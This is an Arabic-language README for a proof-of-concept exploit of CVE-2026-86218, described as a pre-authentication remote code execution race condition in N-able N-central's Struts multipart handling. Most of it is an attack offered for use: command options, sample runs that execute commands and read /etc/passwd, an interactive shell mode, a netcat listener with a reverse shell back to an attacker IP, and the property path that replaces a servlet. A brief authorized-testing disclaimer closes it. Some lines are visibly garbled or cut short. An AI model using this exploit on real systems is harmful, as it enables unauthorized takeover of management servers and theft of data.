
استغلال إثبات مفهوم بلغة Python 3 للثغرة CVE-2026-86218، وهي تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة في N-able N-central عبر حالة تسابق (race condition) في Struts متعدد الأجزاء، مع دعم تنفيذ الأوامر والصدفة العكسية.
هذا استغلال إثبات مفهوم بلغة Python 3 للثغرة CVE-2026-86218، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في N-able N-central.
تفاصيل الثغرة:
يستخدم N-able N-central نموذج Struts مرتبطًا بالجلسة على إجراء غير مُصادق عليه (/remoteControlAction.do). يمكن لطلبين متزامنين متعددي الأجزاء (multipart) أن يتسابقا على معالج النموذج متعدد الأجزاء ويكشفا إعدادات Jetty الحية لتعبئة خصائص Commons BeanUtils. يتيح ذلك للمهاجم:
/bin/sh -spip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| الخيار | الوصف |
|---|---|
-t, --target | عنوان URL المستهدف لـ N-central (مثال: https://192.168.1.100) |
-c, --command | أمر واحد لتنفيذه |
-i, --interactive | وضع الأوامر التفاعلي |
--lhost | عنوان IP للمستمع من أجل reverse shell |
--lport | منفذ المستمع (الافتراضي: 4444) |
--servlet | الـ servlet المراد استبداله: LogRetrieval، FileTransfer، AutomationManagerDownloadServlet |
--check | التحقق مما إذا كان الهدف عرضة للثغرة |
--no-verify-ssl | تعطيل التحقق من شهادة SSL |
--timeout | مهلة الطلب (الافتراضي: 30 ثانية) |
--race-delay | تأخير حالة التسابق (الافتراضي: 0.35 ثانية) |
-v, --verbose | تمكين الإخراج المفصّل |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
الإخراج المتوقع:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
الإخراج المتوقع:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
ابدأ المستمع أولاً:
nc -lvnp 4444
شغّل الاستغلال:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
الإخراج المتوقع:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
إخراج المستمع:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
الجلسة التفاعلية:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | الوصف | التأثير |
|---|---|---|
LogRetrieval | نقطة نهاية استرجاع السجلات (الافتراضي) | الأقل تعطيلاً، تصبح السجلات غير متاحة حتى إعادة التشغيل |
FileTransfer | نقطة نهاية نقل الملفات | يعطّل وظيفة نقل الملفات |
AutomationManagerDownloadServlet | تنزيل مدير الأتمتة | يتطلب منفذ واجهة الإدارة (8443) |
/remoteControlAction.do لاستخراج الإصدار من صفحة الخطأتستغل الثغرة حالة تسابق في معالجة النماذج متعددة الأجزاء في Struts:
تستخدم حقول التغيير مسارات خصائص JavaBean:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
يمر هذا عبر: معالج الأجزاء المتعددة → سياق الـ servlet → محمّل الفئات → WebAppContext → معالج الـ servlet → الحامل المحدد
/remoteControlAction.doيُقدَّم هذا الاستغلال لأغراض اختبار الأمان المصرّح به والأغراض التعليمية فقط. الاستخدام غير المصرّح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها غير قانوني وغير أخلاقي.
احصل دائمًا على التصريح المناسب قبل إجراء أنشطة اختبار الاختراق.